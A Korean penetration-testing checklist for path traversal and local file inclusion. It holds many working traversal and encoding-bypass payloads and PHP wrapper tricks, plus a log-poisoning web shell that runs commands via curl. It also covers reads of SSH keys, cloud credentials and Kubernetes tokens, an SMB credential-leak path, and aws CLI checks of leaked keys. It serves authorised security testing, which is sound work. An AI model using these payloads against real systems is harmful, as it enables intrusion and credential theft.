Path Traversal / LFI
점검 목적
파일명, 경로, 템플릿명, 다운로드 키가 서버 파일 시스템 접근에 그대로 쓰이는지 확인한다. 성공 시 시스템 파일, 애플리케이션 설정, 소스코드, credential이 노출될 수 있고, PHP의 include/require처럼 파일을 실행하는 경로에서는 RCE로 체인될 수 있다.
유형 구분
| 유형 | 특징 | 실무 판단 |
|---|---|---|
| Path Traversal / File Read | ../, 절대 경로, 인코딩 변형으로 허용 범위 밖 파일을 읽음 | 모든 스택에서 발생. passwd, hostname, 설정 파일 노출로 판단 |
| Local File Inclusion (LFI) | 사용자 입력 파일을 서버가 include/import/render함 | PHP에서 특히 위험. 파일 읽기보다 RCE 체인 가능성을 따로 봄 |
| Remote File Inclusion (RFI) | 외부 URL을 include/fetch함 | PHP 설정 또는 템플릿 로더 의존. SSRF와 구분해서 확인 |
| Archive / Upload Path Traversal | 압축 내부 경로, 업로드 파일명으로 서버 경로 밖에 쓰기 | Zip Slip, overwrite, 후처리 RCE 가능성 확인 |
| Dynamic Module Load | Node.js require(), Python import, template loader가 사용자 입력을 받음 | 업로드 파일과 연결되면 코드 실행 가능성 있음 |
단순 파일 읽기와 파일 실행을 먼저 나눈다. file_get_contents(), readfile(), fs.readFile()은 보통 내용 노출에서 멈추지만, PHP include(), require()는 파일 내용을 PHP 코드로 평가한다.
진단 절차
Step 1. 진입점 식별
파일 경로나 파일 식별자가 보이는 기능을 먼저 잡는다.
- 다운로드:
file,path,name,saveName,key,id,attach,download - 페이지/템플릿:
page,view,template,theme,lang,locale,include - 미디어 처리:
image,avatar,thumb,resize,preview - 문서 처리: 첨부파일 미리보기, PDF/Office 변환, 로그 다운로드
- 정적 파일 라우트:
/uploads/<filename>,/files/<key>,/download/<path> - 관리자 기능: 로그 조회, 백업 다운로드, 리포트 export, 파일 매니저
코드 검토가 가능하면 아래 지점을 우선 본다.
| 스택 | 위험 함수 |
|---|---|
| Java | new File(userInput), Paths.get(userInput), Files.readAllBytes(), getResourceAsStream() |
| Python | open(userInput), Flask send_file(), Django FileResponse, template loader |
| Node.js | fs.readFile(), res.sendFile(), path.join(), require(userInput) |
| .NET | File.ReadAllText(), Server.MapPath(), PhysicalFile(), Response.WriteFile() |
| PHP | file_get_contents(), readfile(), fopen(), include, require |
| Go | os.Open(), http.ServeFile(), template.ParseFiles() |
Step 2. 파일 읽기 기본 루틴
정상 요청을 baseline으로 잡고 깊이를 늘리며 비교한다. 먼저 영향이 낮은 파일부터 본다.
?file=/etc/passwd
?file=/etc/hostname
?file=../etc/passwd
?file=../../etc/passwd
?file=../../../../../../etc/passwd
?file=..\..\..\..\Windows\win.ini
판단은 한 번의 200 응답이 아니라 파일 내용, 응답 길이, Content-Disposition, MIME type, 에러 메시지 변화를 같이 본다.
| 관찰 결과 | 바로 판단 | 다음 행동 |
|---|---|---|
root:x:0:0: 또는 hostname이 응답에 보임 | 파일 읽기 확정 | 설정/credential 파일로 영향 확인 |
[fonts], [extensions]가 보임 | Windows 파일 읽기 확정 | web.config, appsettings 후보 확인 |
| 파일 다운로드명이 바뀌지만 내용은 고정 | 표시명만 영향 | 실제 경로 파라미터를 다시 찾기 |
| 404/403만 반복 | 파일 미존재/권한 차단 가능 | 깊이, 절대 경로, 인코딩 변형 비교 |
../ 포함 시 400/500 | 필터 또는 정규화 예외 | 인코딩/점-슬래시 변형, 에러 본문 확인 |
| PHP warning에 경로가 노출 | LFI 후보 | include 여부와 wrapper 사용 가능성 확인 |
Step 3. 컨텍스트별 빠른 선택
| 입력 컨텍스트 | 먼저 넣을 값 | 볼 것 |
|---|---|---|
다운로드 API saveName= | ../../../etc/hostname | 파일 내용이 바뀌는지, originName은 표시명인지 |
페이지 선택 page= | ../../../../etc/passwd | include warning, 파일 내용, .php 강제 여부 |
언어 파일 lang= | ../../../../etc/passwd%00 또는 ../../../../etc/passwd? | 확장자 강제 추가 우회 가능성 |
이미지/썸네일 image= | ../../../../etc/passwd | 이미지 검증 전 파일을 읽는지 |
| Base path 검증 | /var/www/images/../../../etc/passwd | 허용 prefix만 문자열로 검사하는지 |
| 확장자 검증 | ../../../etc/passwd%00.png | suffix 검증과 실제 파일 API 해석 차이 |
| Multipart filename | filename="..%2f..%2fetc%2fpasswd" | 웹서버/프레임워크가 먼저 정규화하는지 |
| 로그 다운로드 | /var/log/nginx/access.log | 로그 원문 노출, PHP include 체인 가능성 |
| Windows/IIS | ..\..\..\Windows\win.ini | web.config, appsettings.json 확장 |
| Reverse proxy | ..;/..;/WEB-INF/web.xml | Nginx/Tomcat 등 프론트/백엔드 해석 차이 |
| PHP 환경 | php://filter/convert.base64-encode/resource=index.php | 소스코드 base64 출력 여부 |
| 업로드 후 조회 | 업로드 파일명에 ../ | 저장/조회/후처리 단계 중 어디서 경로가 깨지는지 |
Step 4. 영향 확인
파일 읽기가 확정되면 스택별로 실제 위험이 있는 파일을 좁힌다.
| 스택 | 우선 후보 | 볼 것 |
|---|---|---|
| Linux 공통 | /etc/hostname, /etc/passwd, /proc/self/environ | 사용자, 호스트, 환경변수 |
| Web 공통 | .env, config.*, secrets.*, 로그 파일 | DB URL, token, secret |
| Java/Spring | application.properties, application.yml, bootstrap.yml | DB, JWT secret, cloud key |
| Node.js | .env, package.json, config/default.json, ecosystem.config.js | API key, DB URI, 실행 경로 |
| Python | .env, settings.py, local_settings.py, instance/config.py | SECRET_KEY, DB, broker |
| .NET | web.config, appsettings.json, appsettings.Production.json | connection string, machine key |
| PHP | wp-config.php, .env, config.php, database.php | DB 계정, APP_KEY |
| Container/Kubernetes | /proc/self/cgroup, service account token, namespace | 컨테이너 경계, pod 권한 |
| Cloud | ~/.aws/credentials, user-data, metadata 접근 | access key, role, bootstrap script |
Step 5. 파일 읽기와 RCE 체인 분리
RCE 가능성은 파일을 읽는 함수인지 실행하는 함수인지에 따라 갈린다.
| 상황 | RCE 가능성 | 확인 방향 |
|---|---|---|
readfile, file_get_contents, fs.readFile | 낮음 | 파일 내용 노출과 credential 영향에 집중 |
PHP include, require | 높음 | php://filter, 로그/세션 include 체인 확인 |
| 템플릿 파일 로더 | 중간 | 임의 템플릿 로드, SSTI와 분리 판단 |
Node.js require() | 조건부 | 업로드 가능한 .js가 require 경로에 닿는지 |
| 압축 해제 경로 조작 | 조건부 | 파일 쓰기 위치, overwrite, 후처리 실행 여부 |
페이로드 노트
1. 기본 Path Traversal
처음에는 깊이를 늘리며 파일 시스템 기준 경로를 찾는다.
?file=../../../../../../etc/passwd
?file=../../../../../../etc/hostname
?path=../../../../../../etc/passwd
?download=../../../../../../etc/passwd
?image=../../../../../../etc/passwd
Windows 대상:
?file=..\..\..\..\Windows\win.ini
?file=..\..\..\..\Windows\System32\drivers\etc\hosts
?file=C:\Windows\win.ini
판정:
- Linux는
root:x:0:0:또는 실제 hostname 출력 - Windows는
[fonts],[extensions], hosts 파일 내용 /etc/passwd가 막혀도/etc/hostname은 읽히는 경우가 있어 둘 다 비교
2. 경로 기준점 찾기
상대 경로가 어디서 시작되는지 모르면 주변 파일부터 찾는다.
?file=./index.php
?file=../index.php
?file=../../index.php
?file=../config.php
?file=../.env
?file=../../application.properties
파일 다운로드 기능은 uploads/, files/, storage/, public/ 같은 기준 디렉터리에서 시작하는 경우가 많다.
3. 우회 패턴 빠른 선택
필터 증상부터 보고 payload 계열을 고른다. 무작정 긴 wordlist를 돌리기보다 같은 요청에서 한 계열씩 비교한다.
| 필터/검증 증상 | 먼저 볼 우회 | 예시 |
|---|---|---|
../가 제거됨 | 중첩 traversal | ....//....//etc/passwd |
| slash가 막힘 | backslash, mixed separator | ..\\..\\Windows\\win.ini, ..\/..\/etc/passwd |
| URL path에서만 막힘 | 파라미터, multipart filename, double encode | %252e%252e%252fetc%252fpasswd |
| 절대 경로 차단 | 상대 경로 깊이 조정 | ../../../../etc/passwd |
| 상대 경로 차단 | 절대 경로 직접 입력 | /etc/passwd, C:\Windows\win.ini |
| 허용 경로로 시작해야 함 | 허용 prefix + traversal | /var/www/images/../../../etc/passwd |
| 확장자로 끝나야 함 | null byte, query/hash, trailing dot | ../../../etc/passwd%00.png, passwd%23.png |
| 프록시 앞단은 정상화함 | 백엔드 parser mismatch | /..;/..;/WEB-INF/web.xml |
| Windows 경로만 다름 | trailing dot/space, UNC, NT namespace | file.txt..., \\host\share\a, \\.\GLOBALROOT\Device\... |
| 파일 내용 미노출 | 에러, size, time, metadata oracle | Content-Length, thumbnail error, parse error |
4. Encoding / Parser Bypass
URL encoding
웹서버, 프록시, 프레임워크, 애플리케이션이 서로 다른 단계에서 decode하면 우회가 생긴다.
%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e/etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%5c%2e%2e%5cWindows%5cwin.ini
..%5c..%5cWindows%5cwin.ini
Double encoding
앞단 WAF나 웹서버가 한 번만 decode하고, 애플리케이션이 다시 decode하는지 본다.
%252e%252e%252fetc%252fpasswd
..%252f..%252f..%252fetc%252fpasswd
%252e%252e%255cWindows%255cwin.ini
..%255c..%255cWindows%255cwin.ini
Unicode / overlong
현대 서버에서는 성공률이 낮지만, 레거시 WAS·프록시·인코딩 변환 계층이 의심될 때 보조로 확인한다.
..%c0%af..%c0%afetc%c0%afpasswd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215etc%u2215passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216Windows%u2216win.ini
Nested / mangled path
필터가 ../를 한 번만 제거하면 중첩 패턴이 정규 traversal로 되돌아간다.
....//....//etc/passwd
..././..././etc/passwd
..///////..////..//////etc/passwd
....\/....\/Windows\/win.ini
...\.\/...\.\/Windows\/win.ini
Reverse proxy mismatch
Nginx, Apache, Tomcat, Spring, static resource handler가 path segment를 다르게 해석할 때만 본다.
/..;/..;/WEB-INF/web.xml
/static/..;/..;/WEB-INF/web.xml
/app/..%3b/..%3b/WEB-INF/web.xml
판정은 최종 백엔드가 어느 path를 받았는지다. 404/403이 달라지면 proxy normalization과 backend route 매칭을 같이 비교한다.
5. Base Path / Extension Validation
허용 prefix 검증 우회
애플리케이션이 허용 디렉터리로 시작하는지만 문자열로 확인하면, 허용 prefix 뒤에 traversal을 붙여 빠져나갈 수 있다.
?filename=/var/www/images/../../../etc/passwd
?path=/app/public/../../.env
?file=C:\inetpub\wwwroot\..\..\Windows\win.ini
startsWith("/var/www/images") 같은 검증은 통과하지만, 파일 API가 canonical path를 계산하면 실제 위치는 기준 디렉터리 밖이 된다.
확장자 suffix 검증 우회
endsWith(".png"), input + ".php", input + ".html" 같은 로직을 흔든다.
?file=../../../etc/passwd%00.png
?file=../../../etc/passwd?.png
?file=../../../etc/passwd%23.png
?file=../../../etc/passwd/.png
?file=../../../etc/passwd...
?file=../../../etc/passwd%20
Null byte는 최신 런타임에서 대부분 막혀 있다. 그래도 네이티브 확장, 구형 PHP, 레거시 Java/JNI 경로가 보일 때 낮은 우선순위로 확인한다.
Multipart filename
업로드 처리에서 파일명만 정규화하고 저장/후처리에서 다시 쓰는 경우가 있다.
Content-Disposition: form-data; name="file"; filename="../../../../tmp/probe.txt"
Content-Type: text/plain
probe
인코딩된 filename도 비교한다.
filename="..%2f..%2f..%2ftmp%2fprobe.txt"
filename*="UTF-8''..%2f..%2f..%2ftmp%2fprobe.txt"
6. 다운로드 API의 saveName 패턴
다운로드 API는 화면에 보이는 원본 파일명과 실제 저장 경로가 분리되는 경우가 많다. originName보다 saveName, path, key, filePath가 경로에 영향을 주는지 먼저 본다.
GET /api/file/download?saveName=../../../etc/passwd&originName=passwd.txt HTTP/1.1
Host: <TARGET>
GET /api/file/download?saveName=../../opt/tomcat/conf/tomcat-users.xml&originName=config.xml HTTP/1.1
Host: <TARGET>
GET /api/file/download?saveName=../application.properties&originName=config.txt HTTP/1.1
Host: <TARGET>
인코딩 변형:
GET /api/file/download?saveName=..%2F..%2F..%2Fetc%2Fpasswd&originName=passwd.txt HTTP/1.1
GET /api/file/download?saveName=..%252F..%252F..%252Fetc%252Fpasswd&originName=passwd.txt HTTP/1.1
판정은 다운로드 파일명보다 내용이다. Content-Disposition만 passwd.txt로 바뀌고 본문은 원래 첨부파일이면 표시명 조작에 가깝다.
7. Linux / Container / Kubernetes
기본 확인 파일
/etc/hostname
/etc/passwd
/etc/group
/etc/hosts
/etc/issue
/proc/version
/proc/cmdline
실행 위치 / 프로세스 단서
/proc/self/cwd
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/mounts
/proc/net/route
/proc/net/tcp
/proc/net/udp
Credential / history
/home/<USER>/.ssh/id_rsa
/home/<USER>/.bash_history
/root/.ssh/id_rsa
/root/.bash_history
/etc/mysql/my.cnf
Container / Kubernetes
/proc/1/cgroup
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
/run/secrets/kubernetes.io/serviceaccount/token
Kubernetes service account token이 노출되면 namespace, API 서버 접근성, RBAC 권한 확인으로 이어진다. 운영 진단에서는 token 원문 전체 수집보다 경로와 권한 범위 확인을 우선한다.
8. Windows / IIS / .NET
기본 확인 파일
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\windows\system32\license.rtf
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\appsettings.json
C:\inetpub\logs\LogFiles\
Windows는 /와 \를 모두 경로 구분자로 받는 경우가 많다.
..\..\..\Windows\win.ini
../../../../Windows/win.ini
..%5c..%5cWindows%5cwin.ini
..%2f..%2fWindows%2fwin.ini
trailing dot / space
Windows API나 shell 경로 처리에서 뒤쪽의 점·공백이 무시되는 경우가 있다.
web.config.
web.config...
web.config%20
web.config%20%20
file.txt<<<>>><
./././web.config
nonexistent/../web.config
UNC / SMB path
서버가 UNC 경로를 열면 SMB 인증 시도가 외부로 나갈 수 있다. 이건 파일 읽기뿐 아니라 credential exposure 신호로 본다.
\\<COLLAB-SMB>\share\probe.txt
\\127.0.0.1\c$\windows\win.ini
\\localhost\c$\windows\win.ini
NT device namespace
일부 Windows API 경로 정규화 우회나 volume 직접 접근 확인에 쓰인다.
\\.\GLOBALROOT\Device\HarddiskVolume1\Windows\win.ini
\\?\C:\Windows\win.ini
\\.\CdRom0\
ASP.NET / IIS 특이 케이스
Cookieless session path, IIS short name enumeration은 Path Traversal 자체와 별개 취약점일 수 있다. 하지만 IIS 경로 혼동이나 존재 여부 oracle로 이어질 수 있어 후보로 둔다.
/(S(lfitest))/admin/(S(lfitest))/main.aspx
/bin::$INDEX_ALLOCATION/
/web.config::$DATA
9. Java / Spring
위험 지점
new File(userInput)
Paths.get(base, userInput)
Files.readAllBytes(...)
ClassLoader.getResourceAsStream(userInput)
ResourceHttpRequestHandler
Spring / static resource double decode
프론트 서버와 Spring resource handler가 서로 다른 decode/normalize를 하면 이중 인코딩이 통할 수 있다.
/static/%252e%252e%252f%252e%252e%252fWEB-INF/web.xml
/resources/%255c%255c..%255c..%255cwindows%255cwin.ini
/spring-mvc-showcase/resources/%255c%255c..%255c..%255cwindows%255cwin.ini
Java URL protocol
코드가 new URL(userInput) 또는 URL 기반 resource loader를 쓰면 scheme 해석이 파일 읽기/SSRF로 이어질 수 있다.
url:file:///etc/passwd
file:///etc/passwd
jar:file:/app/app.jar!/BOOT-INF/classes/application.yml
http://127.0.0.1:8080/actuator/env
Java 설정 파일 후보
WEB-INF/web.xml
WEB-INF/classes/application.properties
WEB-INF/classes/application.yml
BOOT-INF/classes/application.properties
META-INF/MANIFEST.MF
conf/tomcat-users.xml
conf/server.xml
파일 쓰기 primitive가 있으면 Tomcat/Jetty webroot에 JSP를 쓰는 체인이 가능하지만, 이건 파일 읽기 LFI가 아니라 arbitrary file write/RCE로 분리한다.
10. Node.js / Python / Go
Node.js / Express
위험 지점:
fs.readFile(req.query.file)
res.sendFile(req.query.file)
path.join(base, userInput)
require(userInput)
확인 파일:
package.json
.env
config/default.json
ecosystem.config.js
server.js
src/app.js
path.join(base, userInput)만 쓰고 path.resolve() 후 base 확인을 하지 않으면 traversal이 가능하다. res.sendFile()은 root 옵션과 path 검증 여부를 본다. require(userInput)은 파일 읽기가 아니라 module execution 쪽이므로 업로드 가능한 .js와 연결될 때만 RCE 후보로 둔다.
Python / Flask / Django
위험 지점:
open(user_input)
send_file(user_input)
FileResponse(open(user_input, "rb"))
template loader path
static/media file serving
확인 파일:
.env
settings.py
local_settings.py
instance/config.py
requirements.txt
manage.py
uwsgi.ini
gunicorn.conf.py
Django/Flask는 debug page, template path, static/media storage 경로가 같이 노출되면 영향 확인이 쉬워진다.
Go
위험 지점:
os.Open(userInput)
http.ServeFile(w, r, userInput)
template.ParseFiles(userInput)
확인 파일:
go.mod
.env
config.yaml
config.toml
main.go
Go는 정적 바이너리 배포가 많아서 소스 파일이 서버에 없을 수 있다. 이 경우 .env, YAML/TOML 설정, systemd unit, container env를 우선 본다.
11. 설정 / Credential 파일 후보
파일 읽기 확정 후 영향 입증용으로 좁혀 본다.
| 스택 | 우선 시도 파일 | 노출 시 영향 |
|---|---|---|
| 공통 Linux | /proc/self/environ, /etc/hostname, /etc/passwd | 환경변수, 호스트, 사용자 목록 |
| 공통 Cloud | ~/.aws/credentials, /var/lib/cloud/instance/user-data.txt | cloud key, bootstrap secret |
| Container/K8s | /proc/1/cgroup, /var/run/secrets/kubernetes.io/serviceaccount/token | 컨테이너 경계, service account 권한 |
| Java/Spring | application.properties, application.yml, application-prod.yml | DB, JWT, API key |
| Node.js | .env, package.json, config/default.json, ecosystem.config.js | DB URI, token, 실행 정보 |
| Python | settings.py, local_settings.py, .env, instance/config.py | SECRET_KEY, DB, broker |
| .NET | web.config, appsettings.json, appsettings.Production.json | connection string, machine key |
| PHP | wp-config.php, config.php, .env, database.php | DB 계정, Laravel APP_KEY |
| 로그 | /var/log/nginx/access.log, /var/log/apache2/access.log | request 원문, token, LFI to RCE 체인 |
credential 원문이 보이면 전체 파일 덤프보다 값의 출처, 권한, 사용 가능성을 좁혀 남긴다.
12. PHP
php://filter 소스코드 추출
PHP 파일이 서버에서 실행되어 소스가 안 보이면 base64 filter로 읽는다.
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=/var/www/html/wp-config.php
?file=php://filter/convert.base64-encode/resource=../config/database.php
디코드:
echo "<BASE64_RESPONSE>" | base64 -d
볼 것:
- DB host/user/password
- Laravel
APP_KEY, JWT secret - 외부 API token
- 내부 관리자 route, debug flag
- 업로드 경로, 로그 경로, include 경로
wrapper 확인
PHP 설정에 따라 wrapper 사용 가능성이 갈린다.
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://input
?file=data://text/plain,<?php phpinfo(); ?>
?file=expect://id
?file=zip:///tmp/upload.zip%23payload.php
?file=phar:///tmp/upload.phar
data://는 allow_url_include가 필요하고, expect://는 확장 설치가 필요해 실무 성공률이 낮다. zip://은 업로드 가능한 ZIP 내부 파일을 include할 때 보며, #는 URL에서 %23으로 인코딩한다. phar://는 include 실행 또는 Phar deserialization 체인과 연결될 수 있어 별도 조건을 확인한다.
PHP filter 고급 체인
PHP filter 기반 arbitrary file read가 확인되면, 특정 PHP/libiconv 버전과 wrapper 조합에서 RCE 연구 체인(CVE-2024-2961 등)이 가능했던 사례가 있다. 일반 운영 진단 기본값으로 바로 시도하지 말고, 아래 조건이 맞을 때 고급 모의해킹 후보로만 둔다.
1. PHP filter가 동작함
2. 대상 PHP/libiconv 버전이 영향 가능 범위임
3. 응답/에러 oracle이 안정적임
4. 사전 승인된 랩 또는 블라인드 모의해킹 범위임
Log Poisoning to RCE
전제 조건:
- LFI가 단순 파일 읽기가 아니라 PHP
include또는require경로임 - 웹 서버 로그 파일을 읽을 수 있음
- 로그에 User-Agent 같은 입력이 원문으로 기록됨
- 로그에 PHP 코드가 남도록 요청한다.
curl -A "<?php system(\$_GET['cmd']); ?>" "http://<TARGET>/"
- LFI로 로그를 include하고 짧은 명령만 확인한다.
?file=/var/log/apache2/access.log&cmd=id
?file=/var/log/nginx/access.log&cmd=whoami
판정:
uid=,www-data,apache,nginx같은 결과가 응답에 보이면 RCE- 로그 파일 권한이 막혀 있으면 체인은 실패해도 LFI 자체는 유효
- 명령은
id,whoami,hostname처럼 짧고 영향 낮은 값으로 제한
로그 경로 후보:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
Session File Include
세션 저장 경로와 세션 ID를 예측할 수 있으면 세션 파일에 PHP 코드를 심고 include하는 체인이 가능하다.
Cookie: PHPSESSID=lfitest
?file=/var/lib/php/sessions/sess_lfitest&cmd=id
?file=/tmp/sess_lfitest&cmd=id
세션 값에 코드가 실제로 저장되는지 먼저 확인한다. 프레임워크가 세션을 DB/Redis에 저장하면 이 체인은 동작하지 않는다.
/proc/self/environ Include
구형 PHP/CGI 환경에서는 User-Agent가 /proc/self/environ에 반영되고 include될 수 있다.
curl -A "<?php system(\$_GET['cmd']); ?>" "http://<TARGET>/vuln?page=/proc/self/environ&cmd=id"
현대 FPM/컨테이너 환경에서는 성공률이 낮다. 그래도 /proc/self/environ 자체가 읽히면 환경변수 노출 영향은 별도로 크다.
13. Archive / Upload / File Write
압축 내부 파일명에 ../가 들어가면 기준 디렉터리 밖에 파일이 써질 수 있다.
../../../tmp/probe.txt
../../../../var/www/html/probe.txt
..\..\..\inetpub\wwwroot\probe.txt
확인은 파일 쓰기 위치와 후처리 트리거다.
1. 압축 업로드
2. 업로드 응답/처리 로그 확인
3. 예상 경로에서 파일 접근 가능 여부 확인
4. 웹 루트 또는 템플릿 경로 overwrite 가능성 확인
5. 코드 실행은 별도 승인 범위에서 최소 명령으로만 확인
이 케이스는 파일 읽기 LFI가 아니라 파일 쓰기/overwrite 취약점으로 분리해서 판단한다.
Zip Slip 후보
../../../tmp/probe.txt
../../../../var/www/html/probe.txt
../../../../opt/tomcat/webapps/ROOT/probe.jsp
..\..\..\inetpub\wwwroot\probe.aspx
후처리 체인
1. 업로드/압축 해제 파일이 어디에 쓰이는지 확인
2. 웹에서 직접 접근 가능한 경로인지 확인
3. 템플릿/plugin/include 경로 overwrite 가능성 확인
4. 변환/썸네일/AV 스캔/색인 등 후처리가 파일을 다시 읽는지 확인
5. 코드 실행은 별도 승인 범위에서 최소 명령으로만 확인
14. Automation / Wordlists
파일 다운로드처럼 요청이 단순한 경우에는 수동 재현이 우선이다. ffuf, dotdotpwn, scanner는 경로 깊이와 payload 수가 커져 운영 로그를 더럽힐 수 있으므로 사전 승인된 범위에서만 참고한다.
ffuf -w traversal-payloads.txt -u "https://<TARGET>/download?file=FUZZ" -fs <BASELINE_SIZE>
자동화 결과는 최종 근거가 아니라 수동 재현용 후보로만 둔다.
Burp Intruder의 path traversal payload list나 SecLists Fuzzing/LFI 계열 wordlist는 후보 수집용으로만 쓴다. 취약 판정은 반드시 짧은 payload로 수동 재현한다.
우회 매트릭스
| 필터 증상 | 우회 방향 | 예시 |
|---|---|---|
../ 문자열 차단 | 중첩 점-슬래시 | ....//....//etc/passwd |
/ 차단 | Windows separator, URL encoding | ..\\..\\Windows\\win.ini, %2f, %5c |
| 한 번 decode 후 차단 | 이중 인코딩 | %252e%252e%252fetc%252fpasswd |
| Unicode 처리 계층 존재 | Unicode/overlong 보조 확인 | %u2215, %uff0e, %c0%af |
| 절대 경로 차단 | 상대 경로 깊이 조정 | ../../../../etc/passwd |
| 상대 경로 차단 | 절대 경로 직접 입력 | /etc/passwd, C:\Windows\win.ini |
| 허용 base path 필요 | prefix + traversal | /var/www/images/../../../etc/passwd |
| 확장자 강제 | query/hash/null byte 보조 | passwd?, passwd%23, passwd%00 |
| 파일명 allowlist | path/key/saveName 파라미터 탐색 | saveName=../../../etc/passwd |
| reverse proxy 앞단 정규화 | parser mismatch | /..;/..;/WEB-INF/web.xml |
| Windows API 경로 정규화 | trailing dot/space, NT namespace | web.config..., \\?\C:\Windows\win.ini |
| UNC 경로 허용 | SMB 인증/원격 파일 접근 확인 | \\<COLLAB-SMB>\share\probe.txt |
| 응답 본문 미노출 | 다운로드 파일, 에러, length 비교 | Content-Length, filename, MIME 변화 |
| PHP 소스 실행됨 | php://filter base64 | php://filter/convert.base64-encode/resource=index.php |
| PHP wrapper 가능 | wrapper별 조건 분리 | zip://, phar://, data://, php://input |
| 로그 include 실패 | 세션/proc/upload include 확인 | sess_<id>, /proc/self/environ, 업로드 경로 |
| Java resource handler | double decode, URL protocol | %255c%255c..%255c, url:file:///etc/passwd |
| Node/Python 정적 파일 | base resolve 검증 확인 | path.join, send_file, sendFile 경로 |
| WAF 차단 | 경로 정규화 순서 흔들기 | ..././..././etc/passwd |
| 컨테이너 경로 모름 | 주변 파일부터 탐색 | /proc/self/cwd, /app/.env, service account token |
취약 판정 기준
다음 중 하나라도 안정적으로 재현되면 취약으로 본다.
-
../, 절대 경로, 인코딩 변형으로 허용 디렉터리 밖 파일 내용이 노출됨 -
/etc/hostname,/etc/passwd,win.ini같은 시스템 파일이 응답 또는 다운로드 파일에 포함됨 -
.env,application.yml,web.config,wp-config.php등 설정/credential 파일이 노출됨 -
php://filter로 PHP 소스코드가 base64 형태로 추출됨 - PHP include 경로에서 로그/세션/proc 파일 include로 명령 실행이 가능함
- 업로드/압축 해제 경로 조작으로 기준 디렉터리 밖에 파일이 써짐
- 동적 module/template load가 업로드 파일과 연결되어 코드 실행 가능성이 확인됨
다음은 후보 또는 보류로 둔다.
- 사전 매핑된 파일 ID만 받고 서버 내부 경로를 직접 조작할 수 없음
-
originName같은 표시명만 바뀌고 실제 파일 내용은 고정됨 - 단순 404/403만 발생하고 baseline과 의미 있는 차이가 없음
- 정적 CDN에서 URL path normalization만 확인되고 원본 서버 파일 접근이 없음
- 에러에 서버 경로만 노출되고 파일 내용 접근은 불가함. 이 경우 정보 노출로 별도 판단
영향도가 올라가는 조건:
- credential 원문이 노출되고 실제 인증/권한 확인이 가능함
- 소스코드에서 secret, 내부 endpoint, 관리자 route가 확인됨
- 일반 사용자 권한으로 다운로드/미리보기 기능을 호출할 수 있음
- LFI가 PHP include로 이어져 RCE가 가능함
- 업로드/압축 해제와 연결되어 웹 루트 또는 템플릿 경로에 파일을 쓸 수 있음
- 컨테이너 환경변수, cloud key, internal service credential이 노출됨
블라인드 모의해킹 확장
취약점 진단에서는 시스템 파일 한 개 노출로 멈출 수 있지만, 블라인드 모의해킹에서는 파일 읽기에서 credential 사용 가능성, 소스 분석, 내부 접근 체인까지 확인한다.
| 단계 | 확인할 것 | 증거 기준 |
|---|---|---|
| 1. 파일 기준점 | 어느 디렉터리 기준으로 경로가 결합되는지 | depth별 성공 경로, 주변 파일 |
| 2. 실행 스택 | 언어, 프레임워크, 웹서버, OS | 설정 파일, 에러, 경로명 |
| 3. Secret 노출 | DB, JWT, APP_KEY, cloud key | 원문 일부, 파일 경로, 사용처 |
| 4. Credential 사용 | 획득한 계정/키의 실제 권한 | read 중심 identity/list 결과 |
| 5. RCE 체인 | include/require, 로그/세션/upload 경로 | id, whoami, hostname 결과 |
| 6. 내부 확장 | 소스코드 기반 내부 API, 관리 페이지 | route, token, 제한된 응답 샘플 |
소스코드 지도 만들기
파일 읽기가 안정적이면 무작정 전체 파일을 긁기보다 실행 경로를 찾는다.
/proc/self/cwd
/proc/self/environ
/app/.env
/app/package.json
/app/composer.json
/app/requirements.txt
/app/application.yml
/var/www/html/index.php
/var/www/html/routes/web.php
소스에서 아래 단서를 우선 본다.
database URL
JWT secret / APP_KEY
S3 bucket / access key
admin route
internal API base URL
upload directory
log path
template path
include/require call site
Credential 사용 가능성 확인
값이 노출되면 바로 대량 조회하지 않는다. 승인 범위 안에서 identity 또는 제한된 list/read로 살아 있는 credential인지 본다.
AWS_ACCESS_KEY_ID=<AccessKeyId> \
AWS_SECRET_ACCESS_KEY=<SecretAccessKey> \
AWS_SESSION_TOKEN=<Token> \
aws sts get-caller-identity
읽기 중심 확인:
aws s3 ls
aws secretsmanager list-secrets --max-items 10
aws ssm describe-parameters --max-results 10
DB credential은 연결 가능성과 현재 사용자만 확인하고, 테이블 dump나 대량 조회는 별도 승인 범위로 분리한다.
PHP LFI to RCE 최소 확인
RCE 체인은 아래 조건이 모두 맞을 때만 진행한다.
1. 취약 파라미터가 include/require 경로임
2. include 가능한 로그/세션/업로드 파일 경로가 있음
3. 파일 안에 제어 가능한 PHP 코드가 들어감
4. 응답에서 짧은 명령 결과를 확인할 수 있음
최소 명령:
id
whoami
hostname
pwd
RCE 확인 후에는 권한, 작업 디렉터리, 컨테이너 여부 정도만 확인한다. 장시간 명령, 대량 파일 조회, 지속성 확보는 기본 진단 범위에서 제외한다.
업로드와 연결
파일 업로드가 있으면 업로드 경로를 먼저 알아낸 뒤 include 또는 정적 접근 가능성을 본다.
1. 정상 파일 업로드
2. 응답의 path/key/url 확인
3. LFI로 업로드 파일 경로 읽기
4. PHP/템플릿/JS 파일로 해석되는 경로인지 확인
5. 웹 루트, template, plugin 경로 overwrite 가능성 확인
업로드 파일이 단순 정적 파일로만 제공되면 LFI와 별개로 저장형 XSS, content-type 혼동, 파일 업로드 취약점으로 분리한다.
증거 정리
재현 가능한 단위로 남긴다.
- 취약 endpoint, method, 권한 조건
- 정상 요청과 traversal 요청의 차이
- 성공한 depth, 인코딩, 절대/상대 경로
- 노출 파일 경로와 원문 일부
- credential 출처와 제한된 사용 가능성
